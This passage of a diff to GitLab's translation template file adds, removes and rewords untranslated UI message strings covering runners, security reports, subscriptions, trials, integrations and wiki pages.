msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Running"
+msgid "Runners|group"
+msgstr ""
+
+msgid "Runners|shared"
msgstr ""
-msgid "Running…"
+msgid "Runners|specific"
+msgstr ""
+
+msgid "Running"
msgstr ""
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
@@ -26360,6 +27472,9 @@ msgstr ""
msgid "SSH key"
msgstr ""
+msgid "SSH keys"
+msgstr ""
+
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
@@ -26402,6 +27517,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26447,9 +27565,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26775,6 +27890,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26793,6 +27911,9 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Configure via merge request"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -26850,7 +27971,7 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to specify security policies that are important to you and enforce them with every commit."
msgstr ""
msgid "SecurityOrchestration|Create a policy"
@@ -26877,6 +27998,9 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
+msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
+msgstr ""
+
msgid "SecurityReports|Change status"
msgstr ""
@@ -27036,6 +28160,9 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
+msgid "SecurityReports|Take survey"
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -27081,6 +28208,9 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
+msgid "SecurityReports|Vulnerability Management feature survey"
+msgstr ""
+
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -27096,12 +28226,15 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "See GitLab's %{password_policy_guidelines}"
+msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
msgid "See metrics"
msgstr ""
+msgid "See our website for getting help"
+msgstr ""
+
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
@@ -27144,6 +28277,9 @@ msgstr ""
msgid "Select a label"
msgstr ""
+msgid "Select a milestone"
+msgstr ""
+
msgid "Select a new namespace"
msgstr ""
@@ -27171,9 +28307,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -27228,9 +28370,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27324,6 +28463,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27339,6 +28481,15 @@ msgstr ""
msgid "Send message"
msgstr ""
+msgid "Send notifications about project events to Mattermost channels."
+msgstr ""
+
+msgid "Send notifications about project events to Mattermost channels. %{docs_link}"
+msgstr ""
+
+msgid "Send notifications about project events to a Discord channel. %{docs_link}"
+msgstr ""
+
msgid "Send report"
msgstr ""
@@ -27657,7 +28808,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27669,6 +28820,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27690,6 +28844,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27711,6 +28868,9 @@ msgstr ""
msgid "Sets weight to %{weight}."
msgstr ""
+msgid "Setting"
+msgstr ""
+
msgid "Setting this to 0 means using the system default timeout value."
msgstr ""
@@ -27922,6 +29082,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27958,6 +29121,9 @@ msgstr ""
msgid "Sign in via 2FA code"
msgstr ""
+msgid "Sign in with"
+msgstr ""
+
msgid "Sign in with Single Sign-On"
msgstr ""
@@ -28048,25 +29214,10 @@ msgstr ""
msgid "Slack application"
msgstr ""
-msgid "Slack channels (e.g. general, development)"
-msgstr ""
-
msgid "Slack integration allows you to interact with GitLab via slash commands in a chat window."
msgstr ""
-msgid "SlackIntegration|%{strong_open}Note:%{strong_close} Usernames and private channels are not supported."
-msgstr ""
-
-msgid "SlackIntegration|%{webhooks_link_start}Add an incoming webhook%{webhooks_link_end} in your Slack team. The default channel can be overridden for each event."
-msgstr ""
-
-msgid "SlackIntegration|Paste the %{strong_open}Webhook URL%{strong_close} into the field below."
-msgstr ""
-
-msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
-msgstr ""
-
-msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
+msgid "SlackIntegration|Sends notifications about project events to Slack channels."
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -28171,6 +29322,9 @@ msgstr ""
msgid "Something went wrong on our end"
msgstr ""
+msgid "Something went wrong on our end while loading the code quality diff."
+msgstr ""
+
msgid "Something went wrong on our end."
msgstr ""
@@ -28243,6 +29397,9 @@ msgstr ""
msgid "Something went wrong while fetching description changes. Please try again."
msgstr ""
+msgid "Something went wrong while fetching details"
+msgstr ""
+
msgid "Something went wrong while fetching group member contributions"
msgstr ""
@@ -28309,6 +29466,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} due date."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -28747,6 +29907,9 @@ msgstr ""
msgid "Starting..."
msgstr ""
+msgid "Starts"
+msgstr ""
+
msgid "Starts %{startsIn}"
msgstr ""
@@ -28843,13 +30006,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28864,9 +30027,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28879,7 +30039,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28969,10 +30129,10 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
+msgid "Submit a review"
msgstr ""
-msgid "Submit a review"
+msgid "Submit as ham"
msgstr ""
msgid "Submit as spam"
@@ -28987,9 +30147,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -29002,6 +30159,9 @@ msgstr ""
msgid "Submit your changes"
msgstr ""
+msgid "Submitted as ham"
+msgstr ""
+
msgid "Submitted the current review."
msgstr ""
@@ -29032,6 +30192,9 @@ msgstr ""
msgid "Subscription"
msgstr ""
+msgid "Subscription History"
+msgstr ""
+
msgid "Subscription deletion failed."
msgstr ""
@@ -29047,9 +30210,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29143,9 +30303,6 @@ msgstr ""
msgid "Successful purchase image"
msgstr ""
-msgid "Successfull"
-msgstr ""
-
msgid "Successfully activated"
msgstr ""
@@ -29182,6 +30339,9 @@ msgstr ""
msgid "Successfully unlocked"
msgstr ""
+msgid "Successfully updated %{last_updated_timeago}."
+msgstr ""
+
msgid "Successfully verified domain ownership"
msgstr ""
@@ -29284,6 +30444,54 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activated on"
+msgstr ""
+
+msgid "SuperSonics|Expires on"
+msgstr ""
+
+msgid "SuperSonics|ID"
+msgstr ""
+
+msgid "SuperSonics|Last Sync"
+msgstr ""
+
+msgid "SuperSonics|Licensed to"
+msgstr ""
+
+msgid "SuperSonics|Manage"
+msgstr ""
+
+msgid "SuperSonics|Plan"
+msgstr ""
+
+msgid "SuperSonics|Renews"
+msgstr ""
+
+msgid "SuperSonics|Seats"
+msgstr ""
+
+msgid "SuperSonics|Started"
+msgstr ""
+
+msgid "SuperSonics|Subscription details"
+msgstr ""
+
+msgid "SuperSonics|Sync Subscription details"
+msgstr ""
+
+msgid "SuperSonics|Type"
+msgstr ""
+
+msgid "SuperSonics|Valid From"
+msgstr ""
+
+msgid "SuperSonics|You do not have an active subscription"
+msgstr ""
+
+msgid "SuperSonics|Your subscription"
+msgstr ""
+
msgid "Support"
msgstr ""
@@ -29374,6 +30582,9 @@ msgstr ""
msgid "Table of Contents"
msgstr ""
+msgid "Table of contents"
+msgstr ""
+
msgid "Tag"
msgstr ""
@@ -29678,6 +30889,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29806,6 +31022,9 @@ msgstr ""
msgid "Thank you for your support request! We are tracking your request as ticket #%{issue_iid}, and will respond as soon as we can."
msgstr ""
+msgid "Thanks for signing up to GitLab!"
+msgstr ""
+
msgid "Thanks for your purchase!"
msgstr ""
@@ -29856,6 +31075,9 @@ msgstr ""
msgid "The URL defined on the primary node that secondary nodes should use to contact it. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "The URL of the Jenkins server."
+msgstr ""
+
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
@@ -29907,6 +31129,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29949,6 +31174,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -30062,6 +31290,9 @@ msgstr ""
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
+msgid "The maximum size of your Pages site is regulated by the artifacts maximum size which is part of %{link_to_gitlab_ci}."
+msgstr ""
+
msgid "The merge conflicts for this merge request cannot be resolved through GitLab. Please try to resolve them locally."
msgstr ""
@@ -30074,6 +31305,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
+msgstr ""
+
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -30083,6 +31317,9 @@ msgstr ""
msgid "The name of the CI/CD configuration file. A path relative to the root directory is optional (for example %{code_open}my/path/.myfile.yml%{code_close})."
msgstr ""
+msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -30101,6 +31338,15 @@ msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
msgstr ""
+msgid "The password for the Jenkins server."
+msgstr ""
+
+msgid "The password for your GitLab account on %{gitlab_url} has successfully been changed."
+msgstr ""
+
+msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
+msgstr ""
+
msgid "The phase of the development lifecycle."
msgstr ""
@@ -30149,6 +31395,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -30242,13 +31491,19 @@ msgstr ""
msgid "The user you are trying to deactivate has been active in the past %{minimum_inactive_days} days and cannot be deactivated"
msgstr ""
+msgid "The username for the Jenkins server."
+msgstr ""
+
msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
-msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
@@ -30278,6 +31533,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30311,9 +31569,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30380,9 +31635,18 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
+msgid "There was a problem dismissing this notification."
+msgstr ""
+
msgid "There was a problem fetching branches."
msgstr ""
+msgid "There was a problem fetching emojis."
+msgstr ""
+
+msgid "There was a problem fetching epics."
+msgstr ""
+
msgid "There was a problem fetching groups."
msgstr ""
@@ -30473,6 +31737,9 @@ msgstr ""
msgid "There was an error fetching the environments information."
msgstr ""
+msgid "There was an error fetching the jobs for your project."
+msgstr ""
+
msgid "There was an error fetching the top labels for the selected group"
msgstr ""
@@ -30557,6 +31824,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30764,6 +32034,9 @@ msgstr ""
msgid "This epic does not exist or you don't have sufficient permission."
msgstr ""
+msgid "This feature is part of your GitLab Ultimate trial."
+msgstr ""
+
msgid "This feature requires local storage to be enabled"
msgstr ""
@@ -30779,6 +32052,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30788,6 +32064,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30803,9 +32082,6 @@ msgstr ""
msgid "This is a Jira user."
msgstr ""
-msgid "This is a Premium feature"
-msgstr ""
-
msgid "This is a confidential %{noteableTypeText}."
msgstr ""
@@ -31046,15 +32322,6 @@ msgstr ""
msgid "This repository was last checked %{last_check_timestamp}. The check passed."
msgstr ""
-msgid "This runner processes jobs for all projects in its group and subgroups."
-msgstr ""
-
-msgid "This runner processes jobs for all unassigned projects."
-msgstr ""
-
-msgid "This runner processes jobs for assigned projects only."
-msgstr ""
-
msgid "This runner will only run on pipelines triggered on protected branches"
msgstr ""
@@ -31304,6 +32571,9 @@ msgstr ""
msgid "Time until first merge request"
msgstr ""
+msgid "Time zone"
+msgstr ""
+
msgid "TimeTrackingEstimated|Est"
msgstr ""
@@ -31503,6 +32773,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31545,10 +32824,10 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
+msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
-msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
+msgid "To get started, use the link below to confirm your account."
msgstr ""
msgid "To help improve GitLab and its user experience, GitLab will periodically collect usage information."
@@ -31575,10 +32854,13 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
-msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
+msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
+msgstr ""
+
+msgid "To personalize your GitLab experience, we'd like to know a bit more about you"
msgstr ""
msgid "To preserve performance only %{strong_open}%{display_size} of %{real_size}%{strong_close} files are displayed."
@@ -31593,6 +32875,9 @@ msgstr ""
msgid "To receive alerts from manually configured Prometheus services, add the following URL and Authorization key to your Prometheus webhook config file. Learn more about %{linkStart}configuring Prometheus%{linkEnd} to send alerts to GitLab."
msgstr ""
+msgid "To run CI/CD pipelines with JetBrains TeamCity, input the GitLab project details in the TeamCity project Version Control Settings."
+msgstr ""
+
msgid "To see all the user's personal access tokens you must impersonate them first."
msgstr ""
@@ -31680,6 +32965,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31877,10 +33165,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31919,6 +33207,9 @@ msgstr ""
msgid "Trigger"
msgstr ""
+msgid "Trigger Jenkins builds when you push to a repository, or when a merge request is created, updated, or merged. %{docs_link}"
+msgstr ""
+
msgid "Trigger a pipeline for a branch or tag by generating a trigger token and using it with an API call. The token impersonates a user's project access and permissions."
msgstr ""
@@ -31958,12 +33249,6 @@ msgstr ""
msgid "Triggerer"
msgstr ""
-msgid "Triggers|In each example, replace %{code_start}TOKEN%{code_end} with the trigger token you generated and replace %{code_start}REF_NAME%{code_end} with the branch or tag name."
-msgstr ""
-
-msgid "Triggers|To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
-msgstr ""
-
msgid "Troubleshoot and monitor your application with tracing"
msgstr ""
@@ -32069,6 +33354,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32099,6 +33390,9 @@ msgstr ""
msgid "URL or request ID"
msgstr ""
+msgid "USER %{user_name} WILL BE REMOVED! Are you sure?"
+msgstr ""
+
msgid "USER %{user} WILL BE REMOVED! Are you sure?"
msgstr ""
@@ -32138,6 +33432,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to fetch branch list for this project."
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -32204,6 +33501,9 @@ msgstr ""
msgid "Unassigned"
msgstr ""
+msgid "Unauthenticated rate limit period in seconds"
+msgstr ""
+
msgid "Unauthenticated request rate limit"
msgstr ""
@@ -32225,6 +33525,9 @@ msgstr ""
msgid "Unfortunately, your email message to GitLab could not be processed."
msgstr ""
+msgid "Unhappy?"
+msgstr ""
+
msgid "Uninstall"
msgstr ""
@@ -32261,9 +33564,15 @@ msgstr ""
msgid "Unlimited"
msgstr ""
+msgid "Unlink"
+msgstr ""
+
msgid "Unlock"
msgstr ""
+msgid "Unlock account"
+msgstr ""
+
msgid "Unlock the discussion"
msgstr ""
@@ -32381,6 +33690,12 @@ msgstr ""
msgid "Update %{sourcePath} file"
msgstr ""
+msgid "Update Now"
+msgstr ""
+
+msgid "Update Scheduled…"
+msgstr ""
+
msgid "Update all"
msgstr ""
@@ -32399,6 +33714,9 @@ msgstr ""
msgid "Update iteration"
msgstr ""
+msgid "Update milestone"
+msgstr ""
+
msgid "Update now"
msgstr ""
@@ -32453,6 +33771,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating…"
+msgstr ""
+
msgid "Upgrade offers available!"
msgstr ""
@@ -32468,9 +33789,6 @@ msgstr ""
msgid "Upgrade your plan to activate Group Webhooks."
msgstr ""
-msgid "Upgrade your plan to enable this feature of the Jira Integration."
-msgstr ""
-
msgid "Upgrade your plan to improve merge requests."
msgstr ""
@@ -32579,6 +33897,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32696,13 +34017,13 @@ msgstr ""
msgid "UsageTrends|Issues"
msgstr ""
-msgid "UsageTrends|Issues & Merge Requests"
+msgid "UsageTrends|Issues & merge requests"
msgstr ""
msgid "UsageTrends|Items"
msgstr ""
-msgid "UsageTrends|Merge Requests"
+msgid "UsageTrends|Merge requests"
msgstr ""
msgid "UsageTrends|Month"
@@ -32795,9 +34116,21 @@ msgstr ""
msgid "Use one line per URI"
msgstr ""
+msgid "Use shortcuts"
+msgstr ""
+
msgid "Use template"
msgstr ""
+msgid "Use the link below to confirm your email address (%{email})"
+msgstr ""
+
+msgid "Use the link below to confirm your email address."
+msgstr ""
+
+msgid "Use the search bar on the top of this page"
+msgstr ""
+
msgid "Use this token to validate received payloads."
msgstr ""
@@ -32813,6 +34146,9 @@ msgstr ""
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
+msgid "Used by more than 100,000 organizations, GitLab is the most popular solution to manage git repositories on-premises."
+msgstr ""
+
msgid "Used programming language"
msgstr ""
@@ -32828,6 +34164,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32873,7 +34212,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -33167,7 +34509,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -33176,6 +34533,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33224,6 +34587,9 @@ msgstr ""
msgid "Verify SAML Configuration"
msgstr ""
+msgid "Verify code"
+msgstr ""
+
msgid "Verify configuration"
msgstr ""
@@ -33315,6 +34681,9 @@ msgstr ""
msgid "View job"
msgstr ""
+msgid "View job dependencies in the pipeline graph!"
+msgstr ""
+
msgid "View job log"
msgstr ""
@@ -33327,9 +34696,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33357,15 +34732,24 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
msgid "View the performance dashboard at"
msgstr ""
+msgid "View usage details"
+msgstr ""
+
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33771,6 +35155,12 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
@@ -33786,6 +35176,9 @@ msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33951,6 +35344,9 @@ msgstr ""
msgid "Welcome to the guided GitLab tour"
msgstr ""
+msgid "Welcome, %{name}!"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -33960,6 +35356,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33981,10 +35380,7 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
-msgid "When enabled, any user visiting %{host} and creating an account will have to be explicitly approved by an admin before they can sign in. This setting is effective only if sign-ups are enabled."
-msgstr ""
-
-msgid "When enabled, any user visiting %{host} will be able to create an account."
+msgid "When an event in GitLab triggers a webhook, you can use the request details to figure out if something went wrong."
msgstr ""
msgid "When enabled, if an npm package isn't found in the GitLab Registry, we will attempt to pull from the global npm registry."
@@ -34058,9 +35454,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -34133,34 +35526,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
